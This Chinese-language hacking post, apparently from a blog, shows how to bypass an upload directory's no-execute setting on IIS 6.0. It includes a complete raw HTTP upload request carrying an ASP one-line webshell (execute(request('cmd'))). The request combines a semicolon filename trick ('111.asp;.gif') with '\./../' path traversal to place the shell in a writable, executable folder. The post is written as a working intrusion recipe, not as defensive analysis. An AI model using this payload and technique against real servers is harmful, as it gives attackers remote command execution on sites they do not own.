然而。上传目录取消了脚本执行的权限。 我想这里估计大家都要放弃了。 
如何突破呢?其实是可以的. 关键是 [不修改名字] 
先来看看一个上传的数据包: 
post /fa-bu/upload/upfile1.asp http/1.1 
accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* 
referer: http://xxxxx/fa-bu/upload/upload.asp 
accept-language: zh-cn 
content-type: multipart/form-data; boundary=---------------------------7da290150c5e 
accept-encoding: gzip, deflate 
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; sv1; .net clr 2.0.50727; .net clr 3.0.4506.2152; .net clr 3.5.30729) 
host: xxx.xxxx.xxnet 
content-length: 448 
connection: keep-alive 
cache-control: no-cache 
cookie: aspsessionidssctcsct=djbkgklbbignkjmbgoennpan 
-----------------------------7da290150c5e 
content-disposition: form-data; name="act" 
upload 
-----------------------------7da290150c5e 
content-disposition: form-data; name="file1"; filename="e:\xxx\xxx\xx\111.asp;.gif" 
content-type: text/plain 
<%execute(request("cmd"))%> 
-----------------------------7da290150c5e 
content-disposition: form-data; name="submit" 
up 
-----------------------------7da290150c5e-- 
关键是 : 
content-disposition: form-data; name="file1"; filename="e:\xxx\xxx\xx\111.asp;.gif" 
我首先呢。 filename他是如何判断 那个开始就是文件名呢? 他是判断filename里的最右边的一个"\"以后的就是文件名字了。 
大家因该知道。 在windows下 "\" 和 "/" 是不分家的。 
假设上传之后的目录为upload/ 
然后一个可以执行可以写的目录为 okokok/ 
那么我们只要构造 
content-disposition: form-data; name="file1"; filename="e:\xxx\xxx\xx\./../okokok/111.asp;.gif" 
那么我们上传的文件就成功的传进去了 okokok/111.asp;.gif了。 
突破之! 
ps: win+iis6.0测试成功。
						
						
					
        
     
    
            
            
    
发表评论